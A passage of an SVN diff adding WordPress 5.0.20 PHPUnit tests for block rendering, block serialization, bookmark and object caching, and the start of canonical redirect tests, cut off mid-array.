@@ -0,0 +1,102 @@
+<?php
+/**
+ * Reusable block rendering tests.
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Tests for reusable block rendering.
+ *
+ * @since 5.0.0
+ *
+ * @group blocks
+ */
+class WP_Test_Render_Reusable_Blocks extends WP_UnitTestCase {
+	/**
+	 * Fake user ID.
+	 *
+	 * @var int
+	 */
+	protected static $user_id;
+
+	/**
+	 * Fake block ID.
+	 *
+	 * @var int
+	 */
+	protected static $block_id;
+
+	/**
+	 * Fake post ID.
+	 *
+	 * @var int
+	 */
+	protected static $post_id;
+
+	/**
+	 * Create fake data before tests run.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param WP_UnitTest_Factory $factory Helper that creates fake data.
+	 */
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_id = $factory->user->create(
+			array(
+				'role' => 'editor',
+			)
+		);
+
+		self::$post_id = $factory->post->create(
+			array(
+				'post_author'  => self::$user_id,
+				'post_type'    => 'post',
+				'post_status'  => 'publish',
+				'post_title'   => 'Test Post',
+				'post_content' => '<p>Hello world!</p>',
+			)
+		);
+
+		self::$block_id = $factory->post->create(
+			array(
+				'post_author'  => self::$user_id,
+				'post_type'    => 'wp_block',
+				'post_status'  => 'publish',
+				'post_title'   => 'Test Block',
+				'post_content' => '<!-- wp:core/paragraph --><p>Hello world!</p><!-- /wp:core/paragraph -->',
+			)
+		);
+	}
+
+	/**
+	 * Delete fake data after tests run.
+	 *
+	 * @since 5.0.0
+	 */
+	public static function wpTearDownAfterClass() {
+		wp_delete_post( self::$block_id, true );
+		wp_delete_post( self::$post_id, true );
+		self::delete_user( self::$user_id );
+	}
+
+	public function test_render() {
+		$block_type = WP_Block_Type_Registry::get_instance()->get_registered( 'core/block' );
+		$output     = $block_type->render( array( 'ref' => self::$block_id ) );
+		$this->assertSame( '<p>Hello world!</p>', $output );
+	}
+
+	public function test_ref_empty() {
+		$block_type = WP_Block_Type_Registry::get_instance()->get_registered( 'core/block' );
+		$output     = $block_type->render( array() );
+		$this->assertSame( '', $output );
+	}
+
+	public function test_ref_wrong_post_type() {
+		$block_type = WP_Block_Type_Registry::get_instance()->get_registered( 'core/block' );
+		$output     = $block_type->render( array( 'ref' => self::$post_id ) );
+		$this->assertSame( '', $output );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/blocks/render.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/blocks/render.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/blocks/render.php	(revision 56912)
@@ -0,0 +1,475 @@
+<?php
+/**
+ * Block rendering tests.
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Tests for block rendering functions
+ *
+ * @since 5.0.0
+ *
+ * @group blocks
+ */
+class WP_Test_Block_Render extends WP_UnitTestCase {
+	/**
+	 * The location of the fixtures to test with.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	protected static $fixtures_dir;
+
+	/**
+	 * Test block instance number.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @var int
+	 */
+	protected $test_block_instance_number = 0;
+
+	/**
+	 * Tear down after each test.
+	 *
+	 * @since 5.0.0
+	 */
+	public function tearDown() {
+		parent::tearDown();
+
+		$this->test_block_instance_number = 0;
+
+		$registry = WP_Block_Type_Registry::get_instance();
+		if ( $registry->is_registered( 'core/test' ) ) {
+			$registry->unregister( 'core/test' );
+		}
+		if ( $registry->is_registered( 'core/dynamic' ) ) {
+			$registry->unregister( 'core/dynamic' );
+		}
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	public function test_do_blocks_removes_comments() {
+		$original_html = file_get_contents( DIR_TESTDATA . '/blocks/do-blocks-original.html' );
+		$expected_html = file_get_contents( DIR_TESTDATA . '/blocks/do-blocks-expected.html' );
+
+		$actual_html = do_blocks( $original_html );
+
+		$this->assertEquals( $expected_html, $actual_html );
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	public function test_the_content() {
+		add_shortcode( 'someshortcode', array( $this, 'handle_shortcode' ) );
+
+		$classic_content = "Foo\n\n[someshortcode]\n\nBar\n\n[/someshortcode]\n\nBaz";
+		$block_content   = "<!-- wp:core/paragraph -->\n<p>Foo</p>\n<!-- /wp:core/paragraph -->\n\n<!-- wp:core/shortcode -->[someshortcode]\n\nBar\n\n[/someshortcode]<!-- /wp:core/shortcode -->\n\n<!-- wp:core/paragraph -->\n<p>Baz</p>\n<!-- /wp:core/paragraph -->";
+
+		$classic_filtered_content = apply_filters( 'the_content', $classic_content );
+		$block_filtered_content   = apply_filters( 'the_content', $block_content );
+
+		// Block rendering add some extra blank lines, but we're not worried about them.
+		$block_filtered_content = preg_replace( "/\n{2,}/", "\n", $block_filtered_content );
+
+		remove_shortcode( 'someshortcode' );
+
+		$this->assertEquals( trim( $classic_filtered_content ), trim( $block_filtered_content ) );
+	}
+
+	function handle_shortcode( $atts, $content ) {
+		return $content;
+	}
+
+	public function test_can_nest_at_least_so_deep() {
+		$minimum_depth = 99;
+
+		$content = 'deep inside';
+		for ( $i = 0; $i < $minimum_depth; $i++ ) {
+			$content = '<!-- wp:core/test -->' . $content . '<!-- /wp:core/test -->';
+		}
+
+		$this->assertEquals( 'deep inside', do_blocks( $content ) );
+	}
+
+	public function test_can_nest_at_least_so_deep_with_dynamic_blocks() {
+		$minimum_depth = 99;
+
+		$content = '0';
+		for ( $i = 0; $i < $minimum_depth; $i++ ) {
+			$content = '<!-- wp:core/test -->' . $content . '<!-- /wp:core/test -->';
+		}
+
+		register_block_type(
+			'core/test',
+			array(
+				'render_callback' => array(
+					$this,
+					'render_dynamic_incrementer',
+				),
+			)
+		);
+
+		$this->assertEquals( $minimum_depth, (int) do_blocks( $content ) );
+	}
+
+	public function render_dynamic_incrementer( $attrs, $content ) {
+		return (string) ( 1 + (int) $content );
+	}
+
+	/**
+	 * @ticket 45290
+	 */
+	public function test_blocks_arent_autopeed() {
+		$expected_content = 'test';
+		$test_content     = "<!-- wp:fake/block -->\n$expected_content\n<!-- /wp:fake/block -->";
+
+		$current_priority = has_action( 'the_content', 'wpautop' );
+
+		$filtered_content = trim( apply_filters( 'the_content', $test_content ) );
+
+		$this->assertEquals( $expected_content, $filtered_content );
+
+		// Check that wpautop() is still defined in the same place.
+		$this->assertSame( $current_priority, has_action( 'the_content', 'wpautop' ) );
+		// ... and that the restore function has removed itself.
+		$this->assertFalse( has_action( 'the_content', '_restore_wpautop_hook' ) );
+
+		$test_content     = 'test';
+		$expected_content = "<p>$test_content</p>";
+
+		$current_priority = has_action( 'the_content', 'wpautop' );
+
+		$filtered_content = trim( apply_filters( 'the_content', $test_content ) );
+
+		$this->assertEquals( $expected_content, $filtered_content );
+
+		$this->assertSame( $current_priority, has_action( 'the_content', 'wpautop' ) );
+		$this->assertFalse( has_action( 'the_content', '_restore_wpautop_hook' ) );
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	public function data_do_block_test_filenames() {
+		self::$fixtures_dir = DIR_TESTDATA . '/blocks/fixtures';
+
+		$fixture_filenames = array_merge(
+			glob( self::$fixtures_dir . '/*.json' ),
+			glob( self::$fixtures_dir . '/*.html' )
+		);
+
+		$fixture_filenames = array_values(
+			array_unique(
+				array_map(
+					array( $this, 'clean_fixture_filename' ),
+					$fixture_filenames
+				)
+			)
+		);
+
+		return array_map(
+			array( $this, 'pass_parser_fixture_filenames' ),
+			$fixture_filenames
+		);	}
+
+	/**
+	 * @dataProvider data_do_block_test_filenames
+	 * @ticket 45109
+	 */
+	public function test_do_block_output( $html_filename, $server_html_filename ) {
+		$html_path         = self::$fixtures_dir . '/' . $html_filename;
+		$server_html_path = self::$fixtures_dir . '/' . $server_html_filename;
+
+		foreach ( array( $html_path, $server_html_path ) as $filename ) {
+			if ( ! file_exists( $filename ) ) {
+				throw new Exception( "Missing fixture file: '$filename'" );
+			}
+		}
+
+		$html          = do_blocks( self::strip_r( file_get_contents( $html_path ) ) );
+		$expected_html = self::strip_r( file_get_contents( $server_html_path ) );
+
+		$this->assertEquals(
+			$expected_html,
+			$html,
+			"File '$html_path' does not match expected value"
+		);
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	public function test_dynamic_block_rendering() {
+		$settings = array(
+			'render_callback' => array(
+				$this,
+				'render_test_block',
+			),
+		);
+		register_block_type( 'core/test', $settings );
+
+		// The duplicated dynamic blocks below are there to ensure that do_blocks() replaces each one-by-one.
+		$post_content =
+			'before' .
+			'<!-- wp:core/test {"value":"b1"} --><!-- /wp:core/test -->' .
+			'<!-- wp:core/test {"value":"b1"} --><!-- /wp:core/test -->' .
+			'between' .
+			'<!-- wp:core/test {"value":"b2"} /-->' .
+			'<!-- wp:core/test {"value":"b2"} /-->' .
+			'after';
+
+		$updated_post_content = do_blocks( $post_content );
+		$this->assertEquals(
+			$updated_post_content,
+			'before' .
+			'1:b1' .
+			'2:b1' .
+			'between' .
+			'3:b2' .
+			'4:b2' .
+			'after'
+		);
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	public function test_global_post_persistence() {
+		global $post;
+
+		register_block_type(
+			'core/test',
+			array(
+				'render_callback' => array(
+					$this,
+					'render_test_block_wp_query',
+				),
+			)
+		);
+
+		$posts = self::factory()->post->create_many( 5 );
+		$post  = get_post( end( $posts ) );
+
+		$global_post = $post;
+		do_blocks( '<!-- wp:core/test /-->' );
+
+		$this->assertEquals( $global_post, $post );
+	}
+
+	public function test_render_latest_comments_on_password_protected_post() {
+		$post_id      = self::factory()->post->create(
+			array(
+				'post_password' => 'password',
+			)
+		);
+		$comment_text = wp_generate_password( 10, false );
+		self::factory()->comment->create(
+			array(
+				'comment_post_ID' => $post_id,
+				'comment_content' => $comment_text,
+			)
+		);
+		$comments = do_blocks( '<!-- wp:latest-comments {"commentsToShow":1,"displayExcerpt":true} /-->' );
+
+		$this->assertNotContains( $comment_text, $comments );
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	public function test_dynamic_block_renders_string() {
+		$settings = array(
+			'render_callback' => array(
+				$this,
+				'render_test_block_numeric',
+			),
+		);
+
+		register_block_type( 'core/test', $settings );
+		$block_type = new WP_Block_Type( 'core/test', $settings );
+
+		$rendered = $block_type->render();
+
+		$this->assertSame( '10', $rendered );
+		$this->assertInternalType( 'string', $rendered );
+	}
+
+	public function test_dynamic_block_gets_inner_html() {
+		register_block_type(
+			'core/dynamic',
+			array(
+				'render_callback' => array(
+					$this,
+					'render_serialize_dynamic_block',
+				),
+			)
+		);
+
+		$output = do_blocks( '<!-- wp:dynamic -->inner<!-- /wp:dynamic -->' );
+
+		$data = unserialize( base64_decode( $output ) );
+
+		$this->assertEquals( 'inner', $data[1] );
+	}
+
+	public function test_dynamic_block_gets_rendered_inner_blocks() {
+		register_block_type(
+			'core/test',
+			array(
+				'render_callback' => array(
+					$this,
+					'render_test_block_numeric',
+				),
+			)
+		);
+
+		register_block_type(
+			'core/dynamic',
+			array(
+				'render_callback' => array(
+					$this,
+					'render_serialize_dynamic_block',
+				),
+			)
+		);
+
+		$output = do_blocks( '<!-- wp:dynamic -->before<!-- wp:test /-->after<!-- /wp:dynamic -->' );
+
+		$data = unserialize( base64_decode( $output ) );
+
+		$this->assertEquals( 'before10after', $data[1] );
+	}
+
+	public function test_dynamic_block_gets_rendered_inner_dynamic_blocks() {
+		register_block_type(
+			'core/dynamic',
+			array(
+				'render_callback' => array(
+					$this,
+					'render_serialize_dynamic_block',
+				),
+			)
+		);
+
+		$output = do_blocks( '<!-- wp:dynamic -->before<!-- wp:dynamic -->deep inner<!-- /wp:dynamic -->after<!-- /wp:dynamic -->' );
+
+		$data = unserialize( base64_decode( $output ) );
+
+		$inner = $this->render_serialize_dynamic_block( array(), 'deep inner' );
+
+		$this->assertEquals( $data[1], 'before' . $inner . 'after' );
+	}
+
+	/**
+	 * Helper function to remove relative paths and extension from a filename, leaving just the fixture name.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $filename The filename to clean.
+	 * @return string The cleaned fixture name.
+	 */
+	protected function clean_fixture_filename( $filename ) {
+		$filename = basename( $filename );
+		$filename = preg_replace( '/\..+$/', '', $filename );
+		return $filename;
+	}
+
+	/**
+	 * Helper function to return the filenames needed to test the parser output.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $filename The cleaned fixture name.
+	 * @return array The input and expected output filenames for that fixture.
+	 */
+	protected function pass_parser_fixture_filenames( $filename ) {
+		return array(
+			"$filename.html",
+			"$filename.server.html",
+		);
+	}
+
+	/**
+	 * Helper function to remove '\r' characters from a string.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $input The string to remove '\r' from.
+	 * @return string The input string, with '\r' characters removed.
+	 */
+	protected function strip_r( $input ) {
+		return str_replace( "\r", '', $input );
+	}
+
+	/**
+	 * Test block rendering function.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array $attributes Block attributes.
+	 * @return string Block output.
+	 */
+	public function render_test_block( $attributes ) {
+		$this->test_block_instance_number += 1;
+		return $this->test_block_instance_number . ':' . $attributes['value'];
+	}
+
+	/**
+	 * Test block rendering function, returning numeric value.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return int Block output.
+	 */
+	public function render_test_block_numeric() {
+		return 10;
+	}
+
+	/**
+	 * Test block rendering function, returning base64 encoded serialised value.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return string Block output.
+	 */
+	public function render_serialize_dynamic_block( $attributes, $content ) {
+		return base64_encode( serialize( array( $attributes, $content ) ) );
+	}
+
+	/**
+	 * Test block rendering function, creating a new WP_Query instance.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return string Block output.
+	 */
+	public function render_test_block_wp_query() {
+		$content = '';
+		$recent  = new WP_Query( array(
+			'numberposts'      => 10,
+			'orderby'          => 'ID',
+			'order'            => 'DESC',
+			'post_type'        => 'post',
+			'post_status'      => 'draft, publish, future, pending, private',
+			'suppress_filters' => true,
+		) );
+
+		while ( $recent->have_posts() ) {
+			$recent->the_post();
+
+			$content .= get_the_title();
+		}
+
+		wp_reset_postdata();
+
+		return $content;
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/blocks/serialization.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/blocks/serialization.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/blocks/serialization.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * Block serialization tests.
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.3.1
+ */
+
+/**
+ * Tests for block serialization functions
+ *
+ * @since 5.3.1
+ *
+ * @group blocks
+ */
+class WP_Test_Block_Serialization extends WP_UnitTestCase {
+
+	/**
+	 * @dataProvider data_serialize_identity_from_parsed
+	 */
+	function test_serialize_identity_from_parsed( $original ) {
+		$blocks = parse_blocks( $original );
+
+		$actual   = serialize_blocks( $blocks );
+		$expected = $original;
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function data_serialize_identity_from_parsed() {
+		return array(
+			// Void block.
+			array( '<!-- wp:void /-->' ),
+
+			// Freeform content ($block_name = null).
+			array( 'Example.' ),
+
+			// Block with content.
+			array( '<!-- wp:content -->Example.<!-- /wp:content -->' ),
+
+			// Block with attributes.
+			array( '<!-- wp:attributes {"key":"value"} /-->' ),
+
+			// Block with inner blocks.
+			array( "<!-- wp:outer --><!-- wp:inner {\"key\":\"value\"} -->Example.<!-- /wp:inner -->\n\nExample.\n\n<!-- wp:void /--><!-- /wp:outer -->" ),
+
+			// Block with attribute values that may conflict with HTML comment.
+			array( '<!-- wp:attributes {"key":"\\u002d\\u002d\\u003c\\u003e\\u0026\\u0022"} /-->' ),
+		);
+	}
+
+	function test_serialized_block_name() {
+		$this->assertEquals( null, strip_core_block_namespace( null ) );
+		$this->assertEquals( 'example', strip_core_block_namespace( 'example' ) );
+		$this->assertEquals( 'example', strip_core_block_namespace( 'core/example' ) );
+		$this->assertEquals( 'plugin/example', strip_core_block_namespace( 'plugin/example' ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/bookmark/getBookmarks.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/bookmark/getBookmarks.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/bookmark/getBookmarks.php	(revision 56912)
@@ -0,0 +1,73 @@
+<?php
+
+/**
+ * @group bookmark
+ */
+class Tests_Bookmark_GetBookmarks extends WP_UnitTestCase {
+	public function test_should_hit_cache() {
+		global $wpdb;
+
+		$bookmarks = self::factory()->bookmark->create_many( 2 );
+
+		$found1 = get_bookmarks( array(
+			'orderby' => 'link_id',
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$found2 = get_bookmarks( array(
+			'orderby' => 'link_id',
+		) );
+
+		$this->assertEqualSets( $found1, $found2 );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	public function test_adding_bookmark_should_bust_get_bookmarks_cache() {
+		global $wpdb;
+
+		$bookmarks = self::factory()->bookmark->create_many( 2 );
+
+		// Prime cache.
+		$found1 = get_bookmarks( array(
+			'orderby' => 'link_id',
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$bookmarks[] = wp_insert_link( array(
+			'link_name' => 'foo',
+			'link_url' => 'http://example.com',
+		) );
+
+		$found2 = get_bookmarks( array(
+			'orderby' => 'link_id',
+		) );
+
+		$this->assertEqualSets( $bookmarks, wp_list_pluck( $found2, 'link_id' ) );
+		$this->assertTrue( $num_queries < $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 18356
+	 */
+	public function test_orderby_rand_should_not_be_cached() {
+		global $wpdb;
+
+		$bookmarks = self::factory()->bookmark->create_many( 2 );
+
+		$found1 = get_bookmarks( array(
+			'orderby' => 'rand',
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$found2 = get_bookmarks( array(
+			'orderby' => 'rand',
+		) );
+
+		// equal sets != same order
+		$this->assertEqualSets( $found1, $found2 );
+		$this->assertTrue( $num_queries < $wpdb->num_queries );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/cache.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/cache.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/cache.php	(revision 56912)
@@ -0,0 +1,316 @@
+<?php
+
+/**
+ * @group cache
+ */
+class Tests_Cache extends WP_UnitTestCase {
+	var $cache = null;
+
+	function setUp() {
+		parent::setUp();
+		// create two cache objects with a shared cache dir
+		// this simulates a typical cache situation, two separate requests interacting
+		$this->cache =& $this->init_cache();
+	}
+
+	function tearDown() {
+		$this->flush_cache();
+		parent::tearDown();
+	}
+
+	function &init_cache() {
+		global $wp_object_cache;
+		$cache_class = get_class( $wp_object_cache );
+		$cache = new $cache_class();
+		$cache->add_global_groups( array( 'global-cache-test', 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'site-details' ) );
+		return $cache;
+	}
+
+	function test_miss() {
+		$this->assertEquals( NULL, $this->cache->get( 'test_miss' ) );
+	}
+
+	function test_add_get() {
+		$key = __FUNCTION__;
+		$val = 'val';
+
+		$this->cache->add($key, $val);
+		$this->assertEquals($val, $this->cache->get($key));
+	}
+
+	function test_add_get_0() {
+		$key = __FUNCTION__;
+		$val = 0;
+
+		// you can store zero in the cache
+		$this->cache->add($key, $val);
+		$this->assertEquals($val, $this->cache->get($key));
+	}
+
+	function test_add_get_null() {
+		$key = __FUNCTION__;
+		$val = null;
+
+		$this->assertTrue( $this->cache->add($key, $val) );
+		// null is converted to empty string
+		$this->assertEquals( '', $this->cache->get($key) );
+	}
+
+	function test_add() {
+		$key = __FUNCTION__;
+		$val1 = 'val1';
+		$val2 = 'val2';
+
+		// add $key to the cache
+		$this->assertTrue($this->cache->add($key, $val1));
+		$this->assertEquals($val1, $this->cache->get($key));
+		// $key is in the cache, so reject new calls to add()
+		$this->assertFalse($this->cache->add($key, $val2));
+		$this->assertEquals($val1, $this->cache->get($key));
+	}
+
+	function test_replace() {
+		$key = __FUNCTION__;
+		$val = 'val1';
+		$val2 = 'val2';
+
+		// memcached rejects replace() if the key does not exist
+		$this->assertFalse($this->cache->replace($key, $val));
+		$this->assertFalse($this->cache->get($key));
+		$this->assertTrue($this->cache->add($key, $val));
+		$this->assertEquals($val, $this->cache->get($key));
+		$this->assertTrue($this->cache->replace($key, $val2));
+		$this->assertEquals($val2, $this->cache->get($key));
+	}
+
+	function test_set() {
+		$key = __FUNCTION__;
+		$val1 = 'val1';
+		$val2 = 'val2';
+
+		// memcached accepts set() if the key does not exist
+		$this->assertTrue($this->cache->set($key, $val1));
+		$this->assertEquals($val1, $this->cache->get($key));
+		// Second set() with same key should be allowed
+		$this->assertTrue($this->cache->set($key, $val2));
+		$this->assertEquals($val2, $this->cache->get($key));
+	}
+
+	function test_flush() {
+		global $_wp_using_ext_object_cache;
+
+		if ( $_wp_using_ext_object_cache )
+			return;
+
+		$key = __FUNCTION__;
+		$val = 'val';
+
+		$this->cache->add($key, $val);
+		// item is visible to both cache objects
+		$this->assertEquals($val, $this->cache->get($key));
+		$this->cache->flush();
+		// If there is no value get returns false.
+		$this->assertFalse($this->cache->get($key));
+	}
+
+	// Make sure objects are cloned going to and from the cache
+	function test_object_refs() {
+		$key = __FUNCTION__ . '_1';
+		$object_a = new stdClass;
+		$object_a->foo = 'alpha';
+		$this->cache->set( $key, $object_a );
+		$object_a->foo = 'bravo';
+		$object_b = $this->cache->get( $key );
+		$this->assertEquals( 'alpha', $object_b->foo );
+		$object_b->foo = 'charlie';
+		$this->assertEquals( 'bravo', $object_a->foo );
+
+		$key = __FUNCTION__ . '_2';
+		$object_a = new stdClass;
+		$object_a->foo = 'alpha';
+		$this->cache->add( $key, $object_a );
+		$object_a->foo = 'bravo';
+		$object_b = $this->cache->get( $key );
+		$this->assertEquals( 'alpha', $object_b->foo );
+		$object_b->foo = 'charlie';
+		$this->assertEquals( 'bravo', $object_a->foo );
+	}
+
+	function test_incr() {
+		$key = __FUNCTION__;
+
+		$this->assertFalse( $this->cache->incr( $key ) );
+
+		$this->cache->set( $key, 0 );
+		$this->cache->incr( $key );
+		$this->assertEquals( 1, $this->cache->get( $key ) );
+
+		$this->cache->incr( $key, 2 );
+		$this->assertEquals( 3, $this->cache->get( $key ) );
+	}
+
+	function test_wp_cache_incr() {
+		$key = __FUNCTION__;
+
+		$this->assertFalse( wp_cache_incr( $key ) );
+
+		wp_cache_set( $key, 0 );
+		wp_cache_incr( $key );
+		$this->assertEquals( 1, wp_cache_get( $key ) );
+
+		wp_cache_incr( $key, 2 );
+		$this->assertEquals( 3, wp_cache_get( $key ) );
+	}
+
+	function test_decr() {
+		$key = __FUNCTION__;
+
+		$this->assertFalse( $this->cache->decr( $key ) );
+
+		$this->cache->set( $key, 0 );
+		$this->cache->decr( $key );
+		$this->assertEquals( 0, $this->cache->get( $key ) );
+
+		$this->cache->set( $key, 3 );
+		$this->cache->decr( $key );
+		$this->assertEquals( 2, $this->cache->get( $key ) );
+
+		$this->cache->decr( $key, 2 );
+		$this->assertEquals( 0, $this->cache->get( $key ) );
+	}
+
+	/**
+	 * @ticket 21327
+	 */
+	function test_wp_cache_decr() {
+		$key = __FUNCTION__;
+
+		$this->assertFalse( wp_cache_decr( $key ) );
+
+		wp_cache_set( $key, 0 );
+		wp_cache_decr( $key );
+		$this->assertEquals( 0, wp_cache_get( $key ) );
+
+		wp_cache_set( $key, 3 );
+		wp_cache_decr( $key );
+		$this->assertEquals( 2, wp_cache_get( $key ) );
+
+		wp_cache_decr( $key, 2 );
+		$this->assertEquals( 0, wp_cache_get( $key ) );
+	}
+
+	function test_delete() {
+		$key = __FUNCTION__;
+		$val = 'val';
+
+		// Verify set
+		$this->assertTrue( $this->cache->set( $key, $val ) );
+		$this->assertEquals( $val, $this->cache->get( $key ) );
+
+		// Verify successful delete
+		$this->assertTrue( $this->cache->delete( $key ) );
+		$this->assertFalse( $this->cache->get( $key ) );
+
+		$this->assertFalse( $this->cache->delete( $key, 'default') );
+	}
+
+	function test_wp_cache_delete() {
+		$key = __FUNCTION__;
+		$val = 'val';
+
+		// Verify set
+		$this->assertTrue( wp_cache_set( $key, $val ) );
+		$this->assertEquals( $val, wp_cache_get( $key ) );
+
+		// Verify successful delete
+		$this->assertTrue( wp_cache_delete( $key ) );
+		$this->assertFalse( wp_cache_get( $key ) );
+
+		// wp_cache_delete() does not have a $force method.
+		// Delete returns (bool) true when key is not set and $force is true
+		// $this->assertTrue( wp_cache_delete( $key, 'default', true ) );
+
+		$this->assertFalse( wp_cache_delete( $key, 'default') );
+	}
+
+	function test_switch_to_blog() {
+		if ( ! method_exists( $this->cache, 'switch_to_blog' ) )
+			return;
+
+		$key = __FUNCTION__;
+		$val = 'val1';
+		$val2 = 'val2';
+
+		if ( ! is_multisite() ) {
+			// Single site ingnores switch_to_blog().
+			$this->assertTrue( $this->cache->set( $key, $val ) );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( 999 );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+			$this->assertTrue( $this->cache->set( $key, $val2 ) );
+			$this->assertEquals( $val2, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( get_current_blog_id() );
+			$this->assertEquals( $val2, $this->cache->get( $key ) );
+		} else {
+			// Multisite should have separate per-blog caches
+			$this->assertTrue( $this->cache->set( $key, $val ) );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( 999 );
+			$this->assertFalse( $this->cache->get( $key ) );
+			$this->assertTrue( $this->cache->set( $key, $val2 ) );
+			$this->assertEquals( $val2, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( get_current_blog_id() );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( 999 );
+			$this->assertEquals( $val2, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( get_current_blog_id() );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+		}
+
+		// Global group
+		$this->assertTrue( $this->cache->set( $key, $val, 'global-cache-test' ) );
+		$this->assertEquals( $val, $this->cache->get( $key, 'global-cache-test' ) );
+		$this->cache->switch_to_blog( 999 );
+		$this->assertEquals( $val, $this->cache->get( $key, 'global-cache-test' ) );
+		$this->assertTrue( $this->cache->set( $key, $val2, 'global-cache-test' ) );
+		$this->assertEquals( $val2, $this->cache->get( $key, 'global-cache-test' ) );
+		$this->cache->switch_to_blog( get_current_blog_id() );
+		$this->assertEquals( $val2, $this->cache->get( $key, 'global-cache-test' ) );
+	}
+
+	function test_wp_cache_init() {
+		$new_blank_cache_object = new WP_Object_Cache();
+		wp_cache_init();
+
+		global $wp_object_cache;
+
+		if ( wp_using_ext_object_cache() ) {
+			// External caches will contain property values that contain non-matching resource IDs
+			$this->assertInstanceOf( 'WP_Object_Cache', $wp_object_cache  );
+		} else {
+			$this->assertEquals( $wp_object_cache, $new_blank_cache_object );
+		}
+	}
+
+	function test_wp_cache_replace() {
+		$key  = 'my-key';
+		$val1 = 'first-val';
+		$val2 = 'second-val';
+
+		$fake_key = 'my-fake-key';
+
+		// Save the first value to cache and verify
+		wp_cache_set( $key, $val1 );
+		$this->assertEquals( $val1, wp_cache_get( $key ) );
+
+		// Replace the value and verify
+		wp_cache_replace( $key, $val2 );
+		$this->assertEquals( $val2, wp_cache_get( $key ) );
+
+		// Non-existant key should fail
+		$this->assertFalse( wp_cache_replace( $fake_key, $val1 ) );
+
+		// Make sure $fake_key is not stored
+		$this->assertFalse( wp_cache_get( $fake_key ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/canonical.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/canonical.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/canonical.php	(revision 56912)
@@ -0,0 +1,142 @@
+<?php
+/**
+ * Tests Canonical redirections.
+ *
+ * In the process of doing so, it also tests WP, WP_Rewrite and WP_Query, A fail here may show a bug in any one of these areas.
+ *
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical extends WP_Canonical_UnitTestCase {
+
+	public function setUp() {
+		parent::setUp();
+		wp_set_current_user( self::$author_id );
+	}
+
+	/**
+	 * @dataProvider data_canonical
+	 */
+	function test_canonical( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+
+		if ( false !== strpos( $test_url, '%d' ) ) {
+			if ( false !== strpos( $test_url, '/?author=%d' ) )
+				$test_url = sprintf( $test_url, self::$author_id );
+			if ( false !== strpos( $test_url, '?cat=%d' ) )
+				$test_url = sprintf( $test_url, self::$terms[ $expected['url'] ] );
+		}
+
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	function data_canonical() {
+		/* Data format:
+		 * [0]: Test URL.
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [2]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 * [3]: (optional) Array of class/function names expected to throw `_doing_it_wrong()` notices.
+		 */
+
+		// Please Note: A few test cases are commented out below, Look at the test case following it, in most cases it's simply showing 2 options for the "proper" redirect.
+		return array(
+			// Categories
+
+			array( '?cat=%d', array( 'url' => '/category/parent/' ), 15256 ),
+			array( '?cat=%d', array( 'url' => '/category/parent/child-1/' ), 15256 ),
+			array( '?cat=%d', array( 'url' => '/category/parent/child-1/child-2/' ) ), // no children
